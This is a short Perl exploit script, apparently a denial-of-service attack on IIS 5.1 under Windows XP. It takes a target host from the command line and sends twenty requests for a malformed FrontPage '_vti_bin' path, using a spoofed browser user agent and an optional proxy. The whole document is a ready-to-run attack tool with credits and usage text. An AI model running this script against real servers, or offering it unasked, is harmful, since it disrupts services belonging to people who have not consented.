#!/usr/bin/perl
#Tested on IIS 5.1 Windos XP 2002

use LWP::UserAgent;

if(!$ARGV[0])
{
print "Hole found by Inge Henrikse\n";
print "Xplo Code by Ph03n1X || student.te.ugm.ac.id/~phoenix03\n";
print "Gunakan : $0 <target>\n\n";
exit;
}
$target=$ARGV[0];
#$proxy='http://222.124.24.23:3128';
$browse = LWP::UserAgent->new;
$browse->timeout(100);
$browse->agent("MSIE/6.0 Windows");
$browse->proxy(http=>$proxy) if defined($proxy);

$xplo="http://$target/_vti_bin/.dll/*\\~9";
for($i=0;$i<=20;$i++)
{$req = $browse->get($xplo);}

#No fix will be released by vendor until Win XP SP3 
#(maybe in january 2006)